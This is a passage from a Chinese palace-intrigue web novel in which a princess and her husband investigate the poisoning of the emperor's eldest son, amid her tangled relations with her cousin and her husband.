“表哥,忍忍吧。” 杨力行看着山照离开的背影,她一走,仿佛把这个房间的光照也带走了,让他郁郁。 ** 两人虽在一张桌上吃饭,却着实没有太多的话题。 吃完,漱过口,山照拿了帕子正擦手,又想起了早上的事儿。 于是问驸马:“资助书院学子的事情,驸马办的如何?” 孟浴恩看了眼山照,没什么表情变化的说:“照常进行。只是以防有些人得到资助之后便不思进取,臣将领取的条件修改为核对过家资之后,每月的考评都需要是甲等次才能领取下月的资助。” “目前得到资助的人一共是十三人,每月资助五两。” 山照默默计算了一下,钱倒是不多。 “驸马为何不告诉我,这钱没有从府中的账房支取呢?” 孟浴恩这才知道,原来是这件事被发现了。 但他本来也无意靠此邀功,区区百八十两银子,提这一嘴倒显得计较。 “不过些许银子罢了,不值当殿下记住。” 他不说,山照也懒得问。 “不必驸马破费,既然是我的提议,合该府中-出钱的。”山照不愿意用他的钱,倒好似亏欠了他。 “夫妻之间,实在不必分的如此清楚。” 孟浴恩意识到这是个极好的机会,示弱一番。 他表情一瞬间低落下来:“殿下待我,实在是生分。” 山照噎住,不知道该怎么说,她那该死的愧疚之心又涌出来了。万一、万一他真的是无辜的呢? 她有一种想直接跟他讲清楚,然后结束这虚与委蛇的一切的冲动。 但她还需要维持这样表面的和平一段时间,至少,至少忍到她怀孕再说。 孟浴恩并不需要她回答什么,自顾自的说起了下一件事情:“臣的三月婚假快要到期了。不知殿下,是何想法?” 关我什么事?山照疑惑。 “殿下许是不知。前朝驸马是不设实职的,只是如今陛下并未发话,臣也不知是官复原职还是……” “正好也许久未进宫了,明日我去问问父皇。” 山照怎么可能让孟浴恩就这么呆在家里,他最好是每天忙的脚不沾地,没时间来管她才好。 她看着驸马,鬼使神差说了句:“你放心,我去跟父皇求一个官职给你。” 闻言,孟浴恩唇角勾起,看着山照的眼神像带着钩子:“那臣,谢过殿下了。” 这话说的,又轻又慢。 山照抿了抿唇,觉得自己不该说这句话,这话说的……好像,他们真有点什么似的。 联想到这种可能,她蓦地耳根热了起来。 “那,那就这样吧。明天我回来再说。” 山照仓皇逃走。 ** 下午山照扶着表哥起来走了一会。 杨力行的伤口在精心照料下,恢复的极好,虽然那箭很深,但毕竟没有伤到骨头,也就不需要动辄卧床几个月的养。 只是他的腹部还是不好用力,稍微用力伤口就隐隐作痛。 其实扶着他稍微走几步路的事,婢女们也想到了,但毕竟这是公主的人,她们不敢越雷池一步。 不过绕着客厅走了一圈,山照就有点气虚,额头发汗。 “表妹,放我坐一下吧。”杨力行自然注意到了。 “好久没有活动了,现在真是稍微动一动就觉得累。” 山照脸颊微粉,忙抽了帕子擦了额头上的汗,也坐了下来。 她刚想回忆一下以前自己的好身体,却忽然听到了一阵悠扬的琴声,从不远处的竹林里传出。 杨力行看向声音传来的方向:“是何人在弹琴?” 公主府里能自在弹琴的还能有谁? 山照不用问就知道是驸马。 但他从前都是在自己的西院独奏,从没专程跑到自己这边来过,今天这出又是什么意思? 遭了,他不会觉得今天她承诺要给他要官的事情代表着什么吧? 杨力行也没迟钝到这个地步,他看表妹迟迟不答,心里就有了猜想。 脸色瞬间就有点不好了。 “成婚之后,表妹便就是这样和孟公子相处的吗?”杨力行自己都觉得这句话,真的是酸的过分了。 可是他控制不住,他明明努力当驸马不存在了,可他为什么每天、每天都要出现呢? “表哥,我没有。” 山照觉得自己现在有点像被丈夫抓到出-轨的妻子,真的是百口莫辩。 于是只能迁怒孟浴恩,她叫来宜夏:“让驸马别弹了,吵的我头疼!” 又去哄表哥:“他从来没在这弹过琴的,不知道今天是发什么疯。” 见表哥不为所动,山照继续加码,违心的说:“弹的难听极了,怎么好意思跑到这来卖弄的。” 杨力行不懂琴,却也能听出这声音的婉转动听,绝不是表妹说的难听极了。 但他本来也是要一个态度,真相并不重要。 “好,那以后表妹也不要听他弹琴了。” 山照就差指天发誓了:“好,以后再也不听。” 虽然得到了这样的保证,杨力行心里却并没有放下这件事情,只是他知道一味纠缠这件事情也挺让人厌烦的。 只能勉强笑道:“我自然是相信表妹的。” 但内心的不甘、不郁依旧在滋生,他心底仿佛有座即将沸腾的火山,不知何时会喷发。 他想,他确实需要一个孩子。 一个孩子能够让他光明正大的站在这里吗? 一个孩子能够让驸马再也没有资格在自己面前炫耀吗?《 》 40-50 第41章 第 41 章 皇子之死 山照是公主, 凭借腰牌便能不经过皇帝、皇后的许可自己进宫,也就是无诏特许。 不过她还是按例给皇帝先递了口风,得到勤政殿那边的消息才让车马驶入宫中。有急事闯一闯情有可原, 没啥事她还是懂眼色高低。 今日没有早朝,昭明帝也并未召见臣子, 因此山照只是在殿外略站了几息, 就被御前太监请了进去。 一切流程看起来都是正常的, 但山照敏锐的发现太监们的表情都格外严肃, 一举一动都很谨慎,这同她之前来的时候并不一样。 就算是她第一次来的时候, 太监们还知道跟她说点闲话, 免得她呆着无聊呢。这次,除了行礼,就全是套话了。 山照直觉今日父皇的心情可能不太好。御前太监们的喜怒跟皇帝的息怒向来是保持一致的,一旦昭明帝有什么事情, 他们是第一时间知道的。 山照悄然调整了状态,嘴角擎着的笑瞬间消失。 她想着要是情形不好,自己就不先不提驸马的事情了。 虽是多日未见,但昭明帝与之前的样子别无二致。只是目光沉沉,似乎正在思考什么事情。 山照进门先行礼请安,等昭明帝叫起入座之后才开口。 “父皇,是发生什么事情了吗?” 皇帝并未正面回答她,而是反问:“泰和今日进宫是有何事?” 他今日穿着便服, 外表上自然比之前穿着礼服的时候柔和许多, 没有那么有压迫感。但山照从他身上感受到的却不是轻松,而是不自觉的身体紧绷起来。 她有些尴尬地笑笑,声音发涩:“儿臣就是想着许久没有进宫了, 来看看父皇。” 昭明帝没接这茬,显然是不信。 山照顿时有点尴尬,想像跟爹娘撒娇一样很自然的说点俏皮话,话却卡在嗓子眼,说不出来。 “没事的话,你就可以走了。” 昭明帝开口就是赶人。 按照山照从前的脾气肯定转身就走了,但她起了点好奇心,反正她进宫就是来要东西的,要不到东西,打听点消息也不错。 “父皇,别着急赶我走啊。到底发生了什么事情?” 山照猜测:“是我不能知道的事情?” 昭明帝看她欲言又止的表情,笑了,意味深长的说:“你当然可以知道。只是,你确定想知道吗?” 山照心里泛起嘀咕。她怎么咂摸都觉得昭明帝的那句话有点不怀好意。 不过是听个消息,又能把她怎么,说不定就是纯吓唬自己。 “其实,儿臣今日进宫确实有事情想求父皇。”想了想,山照觉得还是先不回那个问题,她还什么都不知道呢。 “听闻前朝驸马都不设实职,那儿臣的驸马呢?” 昭明帝连眼皮都没抬,一点也不惊讶,立刻回她。 “那泰和你的意思呢?你是想把驸马留在府里,还是放出来呢?” 事实上,他早就考虑过这件事,孟家虽然一直安安分分的帮他稳固住了文臣集团,但也是有野心的。 只是没想到孟家这么快就说动了山照。他本以为,若是他们相处不睦,山照不会出这个头。若是夫妻恩爱,新婚之时,女儿家总是想留夫君在身旁的,怎么也得过个半年一年的。 山照也懂扯虎皮做大旗的道理,她不提什么儿女私情,而是夸赞起孟浴恩的才能。 “儿臣听闻驸马早有才名,是难得的良才。既然是良才,合该为父皇、为百姓做点事情才好。拘于后院,实在埋没了。” 她说的大义凛然,其实自己心里也没底。算了,反正也答应驸马了,能不能成她都尽力了。 “驸马有这样报效的心思,那就正好。” 昭明帝一勾手,叫山照上前来。 山照满头雾水,但还是走到了昭明帝的面前。 “你大弟弟……今晨发现死了。” “你就跟驸马一起查一查吧。” 山照:…… 谁死了?大皇子?啊—— 山照表情瞬间如丧考妣,立刻推拒:“父皇,我不会啊。驸马应该也没干过这种事情。” “父皇,这么大的事情,你该找更合适的人。” 山照没想到竟然是这么大的事情,可是昭明帝的面色虽然难看,但丝毫看不出悲伤,这让她怎么猜? 今天不该进宫的。 若是时光倒流,山照说什么也不来淌这浑水。 但昭明帝的态度很坚决,说的话也让山照无法反驳:“我正发愁找谁来查这件事情,宫妃们肯定是不合适的,但若是找外臣,又很难不被前朝力量干涉。” “泰和,你们夫妻身份正好合适。查明真凶,让你大弟弟早日入土为安吧。” 山照都能想象出驸马的脸色,她这不仅给自己找了事,也让驸马摊上事了。 但昭明帝都搬出让死者入土为安的说法了,山照还能说什么,硬着头皮先试试吧。 “父皇,是你非要我查的。要是干的不好,你也不能迁怒我啊。”先要个准话,就算不行,也是昭明帝逼的,她本来也没主动揽事啊。 “朕必定不迁怒你们。若是驸马干的好,我就破格让他原地升三级。” 山照:…… 倒也不必升他的官。 ** 孟浴恩接到公主的口信让他马上进宫,还猜测她是不是遇到什么事情,马不停蹄的赶到宫中。 等知道是这事之后,表情比山照也没好到哪里去。 他将山照扯到角落:“殿下,这是怎么回事?” 山照心虚,但嘴上却倒打一耙:“还不是给你要官职,父皇说你既然有才能就先把案子破了。”丝毫不提自己那过剩的好奇心和多余的一嘴。 “总之,事情已经揽下来了。父皇说大弟弟要停灵七天,就给我们七天时间。”早在叫孟浴恩来之前,山照就想明白了:“我来排查后宫,你去查探前朝。不管成不成,得要尽力才行。父皇,可看着呢。” 孟浴恩真的要头疼了,但考虑到现在在宫中,只能贴近了跟她耳语:“殿下,大皇子的死绝不是简单的事情。半年以来,朝中请立太子的呼声很大。中宫无子,大家都觉得大皇子为长,是最有可能的。” “但这会,大皇子却薨了……” 孟浴恩觉得公主一点都不知道这背后牵扯到的势力有多复杂,他连头绪都没有,怎么查?再说,最有可能的,就是其他皇子的外家下手。他查来查去,一个不慎,就能把他们全得罪了。 山照并不了解前朝,不知道早就有请立太子一事,但她知道民间有父母去世兄弟争家产的。 “可是,父皇还很年轻,为什么他们会这么着急呢?”昭明帝四十岁都没有呢,山照觉得他再奋斗十来个儿女都不是不行的事情。 “国家社稷,重之又重,向来是提早开始培养的。” “罢了,既然殿下已经接旨,臣便勉力一试吧。” 孟浴恩知道现在说什么都没用了,只能接受。 他是支持父亲的想法,不在争储一事上下注的,可事情非要找上门,他也不能太没用叫陛下看不起。 山照拉住他袖口,说出了第一句关心他的话语:“你一切小心。” 她知道这事,全是赶巧了。对孟浴恩来说,更是天降横祸。 孟浴恩看着山照的双眼,心里像是一道暖流淌过,瞬间熨帖了。 青年声音温柔:“殿下,也不要太劳神了。” “我知道。你先去忙吧,我也要进后宫看看了。晚上回府了再一起说。” 两人一前一后离开勤政殿。 ** 山照进宫就带了宜春宜秋两个。 她先去拜见了皇后,皇后自然也是知道这件事情的。 但她还是对皇帝把查案的权力交给泰和公主一事感到惊讶,昭明帝越是看重大公主,皇后心里就越有种难言的酸楚。 但她是皇后,她不能有情绪,更不能将情绪表现出来。 江皇后面上一派悲痛:“恒廷一向是个好孩子,也不知是谁下了这样的毒手。” “娘娘,您为何会肯定大弟弟一定是被人害了?” “这是御医判断的。恒廷的早膳中被下了剧毒,就是在吃了早膳之后发作的。” 山照沉吟了下:“娘娘,做诊治的御医在何处?大弟弟早上是在何处用膳的?现场的宫女太监都扣押着吗?” 皇后自然第一时间想到了这些,此刻相关的人员都关在贵妃的鸿鹄殿中,派专门看守着。 山照便跟着皇后径直去往鸿鹄殿,只是才刚踏进殿门,山照就听见了一声声悲痛欲绝的哀嚎,那凄厉的女声瞬间让山照身上一阵寒意,皮肤立刻起栗。 这声音不用想也知道,是贵妃在痛哭。 是了,唯一的孩子,在十三岁即将成人的时候死了。 为人母亲,怎么不悲痛。 山照眼前浮现出大皇子的样貌,他更肖母,浓眉大眼的,笑起来特别讨喜。山照记起来,他甚至来给自己送过亲,只是自己当时心情不虞,对婚礼的一切都不关心,更没有好好感谢他。 没想到,再次知道他的消息,就…… 哎,山照也忍不住心头发沉。 第42章 第 42 章 贵妃命令 “贵妃如此, 便先不打扰她了。”皇后面有悲戚之色,阻止了宫女向内通传。 山照点头:“儿臣也是这样想的。” 贵妃刚刚经历丧子之痛,正在悲痛之中, 就算现在进去问也问不出来什么,何必非要这会提起来。便是要问, 也等有了点有效的消息再说吧。 山照先跟皇后去了看守着御医的房间。 当场诊断的一共三人, 分别是鸿鹄殿的日常请脉太医和太医院早上当值的两名太医。 两名中年一名青年, 山照略看了一眼, 三人面上虽然有些惊异之色却并不惊慌。 他们先行过礼,皇后开口:“泰和公主奉旨查案, 诸位太医请务必知无不言言无不尽。” 而后对着山照歉意一笑:“恒廷的丧事还有许多事宜没有理顺, 这里,就交给泰和了。” 山照知道实际上是昭明帝不允许皇后插手,因此也不阻拦,只是送皇后到了门外, 这才回转。 “几位太医对大皇子的症状可有什么见解?” 等回到太医们所在的房间,山照开门见山直接问道。 三名太医互相交换了一个眼神,这才有一个中年男子一拱手站出来说话。 “臣太医院御医向春林,是鸿鹄殿的请脉太医。大皇子的脉案都是臣来保管的,因此最为熟悉皇子身体状况。” 山照找了个位置坐下,示意向太医继续说。 “大皇子近日不过是有些咳疾,臣为其开了润喉止咳的方子,都是些润补的药材, 跟今日大皇子早膳所食并无妨克。” 为了增加这句话的可信度, 向太医还补充了一句:“今晨也请其余两位太医确定了此事。” 最年轻的那位太医出声:“臣看了向太医的方子,不过是甘草、陈皮、罗汉果,并不与什么食材相克。” 如此你一言我一句的, 山照足足问了一个时辰才理清楚事情是怎么发生的。 首先,太医们都作证了大皇子并无隐疾。其次,发现不对时,宫女立刻请了向太医,而向太医赶到时大皇子已经气若悬丝了,连忙请了还在当值的其余两位太医赶来。 三名太医都是在大皇子还活着时就赶到了,连忙进行了施针催吐等急救法,只是这些都没有挽救大皇子的生命。 而后几人就被愤怒的贵妃关押了起来,再也不知道后来发生的事情。 “这事我已经清楚了。但各位大人可能还需要待些天。” 太医们自然知道真凶未曾查明他们是不可能出去的,只是请求道:“能否传个音讯给家人,便是只说宫中有事,近些日子不回家这样的消息也可。” 山照想了想,并没有一口答应。万一太医们有问题,她这样不就走漏风声了。 才刚想开口,山照就听见外面的猛然嘈杂起来,还间杂着哭声。 她就更没有心情说这些场面话了,只留下句:“此事待我考虑一番。”就匆匆离去。 山照一出门,就问门外的宜春、宜秋:“刚才是发生什么了?我怎么听见有许多哭声。” 那哭声只是几息,而后便偃旗息鼓了。 宜春、宜秋两个只是守着门,并未有机会上前去问情况,但还是比山照听得清楚了些。 宜春回:“似乎是正殿那边贵妃有了吩咐,而后那些小宫女便连呼了几声娘娘慈悲,饶过奴婢们等语。只是很快就被其他人捂了嘴,带进了殿内。” 山照本不想进去打扰贵妃,但这样的异动她却不能不在意。 按理说贵妃此刻处在悲痛中,有什么特别重要的事情需要她这会分心来处理呢,还是说单纯迁怒那些根本近不了皇子身的小宫女? 山照想到有这个可能,便是不想管也要管了,谁知道哪个宫女藏没藏着重要的事情,这会是一个也不能少。 山照快步走进刚才闹出声响的左侧殿中。 入内第一眼便看见了一行太监正捉住小宫女们往她们嘴里喂食,那些小宫女表情是极度的不情愿,太监们用力的表情又十分狰狞。 山照直觉这不是什么好事情,立刻高声叫他们停下来。 但这些太监似乎并不认识山照,只几个人瞟了一眼,但手里的动作一点没听。 山照拿出自己的令牌:“本宫是泰和公主,奉旨查案,你们还不住手。” 宜春、宜秋两个连忙帮腔:“你们是要违逆公主吗?”,这些太监才迟疑地停了手。 山照仔细一看,他们喂给小宫女的东西,竟然是一些凉掉的饭菜,里头有些肉类和汤类,只是跟冷凝掉的油脂混合在一起,山照都分辨不出这些都是什么。 “你们喂的是什么?谁叫你们这么做的?” 太监们没有领头的,一时间没人答话。还是小宫女们,有个机灵的宫女,刚吐了被强行喂到嘴里的东西,就迫不及待开口。 “殿下,他们是喂奴婢们早上大皇子所用的膳食。太医们都说大皇子是因为早膳有人下毒才……” 宫女仓皇着磕头:“求殿下救命。奴婢们跟此事毫无关系啊!” 山照没听明白,早膳有毒跟他们喂宫女们吃有什么关联? 她直接问太监们:“你们来说,为何非要逼着宫女们吃这些?” 就在此时鸿鹄殿正殿中有了些声响,太监们齐齐缩了缩脖颈,低头不语。 鸿鹄殿只住着贵妃和大皇子,正殿住着谁是显而易见的。 山照以为是贵妃听到了这边的动静赶了过来,却猜错了。 为首之人虽衣着华贵,却梳着未嫁女的发型,这应该是贵妃的大宫女。 “奴婢碧菡见过殿下。娘娘知晓殿下查案一事,特叫奴婢前来配合。” 她打量着现场,看着这样碗碟乱飞、饭菜四溅的场面,面上依旧一点惊诧也无,只是请罪:“还请殿下赎罪,下人们笨手笨脚的想必惊扰到了殿下。” “碧菡姑娘,请问这事是贵妃娘娘授意的吗?” 虽然碧菡没有说明她的身份,但山照见她身后跟着的两个宫女就知道,这确实是贵妃的大宫女,因此她客气些叫声姑娘也无所谓。 碧菡当然知道这事刚巧被泰和公主撞上,说起来是有些不够体面。因此只是避重就轻道:“太医们虽然诊断了大殿下是中毒,但并没有查验出来是哪一盘出了问题。” “娘娘便有些心急,想叫宫女们尝一尝,哪个是有毒的。” 碧菡见山照脸色不好,连忙笑着补充:“只是吃进些许,若是有了反应,便催吐出来。三位太医也还在,我们定会全力救治的。” 宫女们自知自己这些人在贵妃娘娘眼中都是弃子,觉得公主必定会给贵妃娘娘面子,也同意她们来试菜。 霎时,脸色都白了。 有几个心态不好的,已经‘呜呜’哭了起来。 山照见她们面孔稚嫩,有些可能才刚到十二岁开始上值的年纪,大些的也不过十七八岁,起了些怜悯之心。 “便没有其他办法了吗?我记得皇子公主每日的膳食都有侍膳太监先尝过的,侍膳太监呢?” 贵妃不过是想确定哪份膳食中有毒,这事不需要贵妃说,山照也必定是需要查明的。只是这样的事情,实在不需要一条条人命去试。 “侍膳太监无事。许是这毒下在别的地方,或是盘子上,或是调羹、筷子上。” 山照想了想:“我记得,御膳房每日的鸡鸭都是现杀的吧?” 众人不知道泰和公主为何突然问起这个,都是满脸疑惑。不过小宫女们倒是感觉到了公主的回护之意,有知道这事情的,便赶紧开口:“正是,每日都进的新鲜鸡鸭,主子们分例要上才杀。” “那不必如此麻烦,就去御膳房要些鸡鸭来,每份饭食分开喂食就行。鸡鸭这么小一点,对毒物的反应会比人更敏感,这样也能快点查出到底是哪里出了问题。” 山照看向碧菡那边:“不知这样的安排,贵妃娘娘认可吗?” 若是平日,碧菡便能做主应下。 可她回想起贵妃娘娘如今的状态,失去孩子的母狼也不过就是这样的,愣是不敢私自回答。 “这……还请殿下稍等片刻,容奴婢请示娘娘。” 山照很大度的让她去请示。 宜春有些担心,待碧菡走了才小声提醒:“殿下,如今大皇子刚去,便是陛下也得多体谅贵妃娘娘。是否避让些好?” 山照自然知道她出这个头,也不定能得到什么感激。贵妃只有大皇子一个孩子,便是这会做了什么失态的事情,父皇多半也会原谅的。 可是……她看着这些小宫女的脸,实在是无法事不关己高高挂起。虽然这些膳食也不一定有毒,便是有毒也不一定就有人要死,可万一呢? 于她而言不过多说两句话的事,于这些宫女来说,就是性命攸关的大事了。 “咵嚓——” 寝殿里传来一阵瓷器打碎的脆响,山照拧起眉看向正殿的方向,她听出来了这是贵妃在发脾气。 另一端,碧菡同其他几个宫女正试图阻拦贵妃砸碎花瓶、杯碟的行为。 “娘娘,公主还在外面!” 第43章 第 43 章 共进晚膳 贵妃脸上并无一点岁月的痕迹, 依旧是个美貌女子。但她双眼红肿、头发散乱,一点也没顾及主位娘娘的体面,由此可见大皇子的突然薨逝对她的打击。 “几个宫女罢了, 她装什么好人?我就是要赐死她们,谁又敢说什么。”贵妃显然是在赌气, 她心里不痛快, 她的儿子死了!这么年幼就死了!寻几个该死鬼下去继续伺-候恒廷怎么了? 只是她现在虽然癫狂, 却还有一丝理智在身。昭明帝已经废除了宫奴殉葬的惯例, 她不能公然的对抗皇帝的意志。 可大公主凭什么?不过是个生母早亡还流落民间的野公主。 她十分笃定自己在陛下心中的分量一定比她重,更何况, 她才没了孩子。她是个可怜人啊! 哪怕碧菡苦心劝阻, 贵妃依旧不改意愿。 “你去讲!她若还有话说,就叫她自己来。” 贵妃又招呼其他宫女:“碧凝,快点给我梳头上妆。” 碧菡无法,只能这样给公主回话。 她觉得这是件很小的事情, 娘娘实在不必跟公主在此刻相争。可是娘娘这会不是能听得进道理的状态,越是劝阻越是要反着来。 山照气笑了。 她真的是厌烦死这些人不把下人的命当命的样子了,索性不去管她。 “按照我说的来,等鸡鸭到了就先试。” 山照随即又问:“贴身伺-候大弟弟的宫人在哪?我要问他们一些事情。” 碧菡愣住,没有想到公主直接忽视了娘娘的意愿。 但依着她对贵妃的了解,娘娘一定不会这么轻易就接受了,没准这事情会越闹越大。 “殿下,娘娘此刻正是伤心时, 实在不必因这几个奴婢起了矛盾。” “请碧菡姑娘告诉娘娘, 父皇命我查清大弟弟的死因,那这里的任何一个人现在都不能随便死了。若是娘娘觉得被冒犯了,父皇就在勤政殿, 尽可以去。” 碧菡:…… ** 山照觉得既然侍膳太监没事,那就不能说明一定是早膳出了问题。可能是大皇子还吃了些别的什么,也许是昨日的餐食,也许是垫腹的糕点,甚至茶水也不是不可能的事情。 大皇子就住在左偏殿,伺-候他的宫人们就关押在左偏殿的角房里。 山照没有直接去寻宫人。而是走进了左偏殿,查看了大皇子平日的坐卧起居之处。 出人意料的是,这里布置的实在素净,甚至不如驸马年少时的住所舒适。 宜春自然也是知道些内情的:“贵妃娘娘对大皇子寄予厚望,知道陛下出身平民喜节俭,便不许大皇子沾染一点奢靡之气。” 山照真是对贵妃感到无话可说,就她看见的鸿鹄殿的布置,无论如何跟节俭都搭不上边,合着需要节俭的就只是大弟弟啊? 山照很想嘟囔一句:她怎么不节俭?但大弟弟已经薨了,她觉得在这说他亲娘的坏话怪没趣的,忍住了。 但大皇子节俭是真的。 茶水间桌上柜里,只有两碟没吃完的点心,还有一壶凉透的茶水。 “把这些拿出去,都要一一验过。” 山照并没有进内室,她只是吩咐宜春:“叫两个小宫女来仔细看看,有没有能够入口的东西被遗漏了。” 她说着说着忽然想起一件事情:“大弟弟的身上,带着荷包吗?有没有吃的?” 宜春自然是不知道的,但她知道该去问谁,于是都先应承了下来。 山照全心全意忙碌起来,一时间忘了时间流逝。 ** 就在山照忙着多方查证的时候,孟浴恩直接回了丞相府,他虽然在耳濡目染下了解了许多王公贵族家里的事情,但这种阴私事他还是所知不多。 “……事情就是这样,陛下命我们七天内查明真相。” 孟浴恩跟父亲对坐着,他开口说出自己的想法:“陛下共有五子,除了贵妃之外,淑妃、贤妃、宁修仪都是有嫌疑的。但也不一定,陛下春秋鼎盛,未必不能再生皇子,待幼子长大。” 孟浴恩知道自家的来路,这些后妃都是在当时为昭明帝出过大力气的,父亲一定早就接触过。 孟衡之看着杯中的金骏眉,在淡淡香味中-出了会神。 他想起自己初次接触昭明帝的事情,跟朝中许多人暗地揣测的情况不一样,他并不是早就认识了李释宁,而是他的军队都打到了平宁,距离上京不过只有三座城池了。 只是,他第一次接触到昭明帝之后,就立刻开始准备投诚了。 在孟衡之的帮助下,昭明帝本来可能需要一年乃至两年的拉锯战才能获得胜利,结果两个月就胜利进京了。 前朝暴虐,要反自然不只是一波人反,但最先进京站稳脚跟的就是李释宁。 “你认为,陛下是怎样的人?” 孟浴恩对昭明帝的了解十分有限,他的官职不足以参加早朝,而他的功名也不是在今朝考取的。只是新朝初立,物力维艰,为了广纳英才参与内政治理,便承认了前朝五年内的有依据可查的功名。 他在成婚前一共跟昭明帝说过三次话。 孟浴恩反复回想起那三次昭明帝的表现,而后思量着给出了一个回答:“陛下,偏好圣心独-裁。但陛下的标准,似乎有些特别。有些事情又能够听取建议。” 孟浴恩点头,他知道儿子跟陛下接触不多,更多细节也说不出来了。 “陛下,是对自己的事情颇为固执。其余的事情,若是言之有理,也愿意听取建议。”他补充了一句,而后又反问儿子:“你认为这件事情,算什么事情呢?” 孟浴恩皱眉,而后瞳孔睁大,不敢相信自己的猜测:“父亲,你是说……陛下知道?” 孟衡之笑而不语:“刚才你说的那几家,都用心查查。其余一切听公主的就是。” ** 山照待到了宫门快要下钥的时候才出宫,然后回了公主府。 她一进自己的院子,便吩咐婢女们给她寻些热食来。 又自顾自的拔掉鬓边两根坠得发痛的钗子,两缕发丝随着钗子被拔出,落在山照肩头。 “殿下。” 熟悉的温润男声响起,却吓了山照一跳。 “驸马?你怎么在这?” 山照看着自己手上已经被拔出的钗子,纠结了一下要不要让宜秋给插回去,但是今天实在是太累了,她不想再弄回去。 便顶着这两缕散乱发丝继续跟驸马说话。 “臣一直在等殿下回来。” 孟浴恩存着一点故意,他虽然没有刻意打探过公主那位青梅竹马的表哥安置在何处,但既然在府中,那就能得到消息。 他不相信这个世界上真有心甘情愿做小的男子,与其他来撞破这些事情,不如推波助澜让这位‘表哥’先忍不住。 一个无辜的受害之人,陛下也不能指摘他有错处。 “殿下今日不是叫臣打探外朝的消息吗?臣打听到了一些事情,不知道能不能帮助公主。” 他说的是正事,倒叫山照觉得自己的表现有点一惊一乍的了。 “可是现在,天已经黑了。有什么事情,早晨再说吧。” 山照想起表哥就在隔壁,一定听见了这边的动静。他本来就对驸马有些忌惮,呆久了怕他多想。 孟浴恩表情顿时有些故作的惊诧,立刻歉然一笑:“是臣唐突了。” “那臣先告退了。” 孟浴恩欲站起身,猛然脸色一变,捂住腹部,脸上是掩不住的痛苦神色。 山照‘哎呀’一声,连忙问他:“驸马是身体不适吗?” 青年虽然皮肤白皙,但在山照印象中他的嘴唇一直是健康的粉润,这会却痛到发白,整个人都有些萎靡。 “臣,无碍。”他一字一顿,显然不像是没事的样子。又硬撑着想站起来,却是一阵腿软,复又坐了下去。 “坐着别动!”山照按着驸马的肩头,神色认真。 “宜春去唤府医来。” 孟浴恩连忙阻止:“臣只是未用晚膳,胃疾犯了。待臣回去用些东西就好了。” “那就在我这吃完饭再走吧。正巧我也只是草草对付了两口,没吃饱。”她语气坚定,没有给驸马拒绝的空间。 山照虽然依旧顾及表哥的感受,但她相信表哥一定能理解的。说起来驸马也是无妄之灾,本来说好兵分两路然后再一起商量的,她却没有给他传话。 驸马也摸不准自己到底什么时候回来,便就一直等着了。 山照一通想,倒是把自己说服了。这事是她做的欠缺了,一顿饭而已,应该没问题。 公主要吃饭,厨房不敢怠慢,即便是厨娘已经准备休息了,也立刻穿上衣服开始忙碌。没到半个时辰就端上几个热菜。 孟浴恩喝了些茶,虽然还是有些虚弱,但脸色已经好看多了。 他看着桌上的饭菜,脸上忽然有了些霞红,轻声道:“这是臣第一次跟殿下用晚膳呢……” 这话说得山照心头一紧,又看他的神情,是曾经在表哥的脸上看到过的甜蜜之色。 她心想:完了,驸马不会喜欢上她了吧? 第44章 第 44 章 毒杀亲子 孟浴恩没有吃饭, 胃里确实不太舒服,但远远没到表现出的那么严重,他是偷偷掐了一把自己这才做出了方才那般逼真的忍痛神情。 山照一味低头吃饭, 生怕跟孟浴恩对视上。 刚开始,她觉得驸马是对她生出了些好感, 有些无所适从, 甚至觉得更多的是慌张和害怕。 可是细想想, 她总感觉从第一次见面开始, 驸马身上就有点隐隐约约的古怪。尽管成婚已经有两月,驸马平日待她也是嘘寒问暖、处处顺从, 但她始终没有彻底放下戒心。 她本以为是自己心里知道, 若孟家知道她和表哥的事情之后一定会反对,他们的立场终究会敌对,她潜意识里不想跟驸马生出一点感情。 可是,她真的会对一个真心喜欢自己的人感到害怕吗?山照在此之前也有受到表哥之外的男子的示好, 但只要是真心喜欢自己的,她都只是坦坦荡荡的拒绝,不会觉得厌烦。 她甚至觉得自己是开心的,被人喜欢是件很愉快的事情,即便她不能接受。 可她现在的反应不正常。 山照悄悄打量静静的用汤的驸马,他的仪态自然是没话说,一碗寻常不过的热甜汤被他用得像是什么顶尖珍馐一般。 似乎是察觉到山照明里暗里的打量,孟浴恩抬头, 抿唇微笑, 眸中光华流转,玉颜天成。 山照的视线不可避免被摄住了。 还是孟浴恩主动开口,她才醒神。 “殿下, 虽食不言寝不语是圣贤之语。但天色已晚,臣不欲继续打扰殿下休息,不若殿下继续用膳,由臣将今日所查一一道出。” 孟浴恩见她点头,思索了几息,似乎是在斟酌从何说起,而后才开口:“陛下并未将大皇子殿下的死讯公布,宫中知道的也不多。因而,臣并未从各府发现异常行为。” “臣以为,若要真的查探各方反应。一是要请陛下赐暗卫,这才能得知内宅是否无恙。二是请承恩公协助,让其名下商铺酒楼茶肆仆从留意主位们的娘家诸人动向。” 山照本来查了一脑袋疑问,想听驸马的见解,结果这话的意思不就是什么都没查出来吗? 她本来也没打算晚间吃多少,这会实在是忍不住想说话,便咽了最后一口,吩咐婢女们撤下碗筷,又换了地方跟孟浴恩交谈。 “驸马今日便一点有用的也没查出来吗?” 孟浴恩羞愧摇头:“臣无能。” 他当然不可能一无所获,但孟家是臣,一个臣子要那么神通广大干什么?朝臣都言父亲是靠迎上媚下起家,母亲也并无什么贤良聪慧的名声,但一介顺臣,本也没什么好名声,被低估些也好。 山照叹口气:“御医说大弟弟所中之毒并不常见,毒发极快,又不见明显异常。” “这听起来不像中原之毒。”孟浴恩也学过医典,懂些皮毛。 “是啊,御医也是这么说。可别说了解这毒是怎么运进来的,我排查了大弟弟前两日内所有用过的食物,都无异常。” 山照最头疼的就是这点。 “若是只下了大弟弟吃下去的那点毒,贼人怎么能知道,大弟弟一定会吃呢?还恰巧只吃了那点?” “或许是下在殿下爱吃之物,或许是小块的糖或点心之类的东西里。” “对!” 山照抚掌,她本来没期待从驸马这得到什么启发,只不过自己死马当活马医,却没想到他竟然还说到点子上了。 “大弟弟随身携带着一个荷包,里面装的是枇杷糖。最奇怪的是婢女们不知道是何时装进去的糖。” 山照本来觉得糖没有什么,反正鸡鸭喝了这糖化的水也没事。可是这样说,若是下毒到这某一颗糖里面,这不就能保证大弟弟吃完之后,剩余的都没问题了吗? “那枇杷糖整体为橙黄-色,是半个指节大小的方块。驸马明日便将市面上这样形状的糖都买个遍。” “好。” 山照本还想解释一下为何她判定这糖不会是来自宫中,但孟浴恩已经毫不犹豫应承下来了,她反而不知道下句话该说什么了。 “驸马,当真就如此信任我吗?” “自然,臣相信殿下做事自有缘由。” 虚假。 太虚假了。 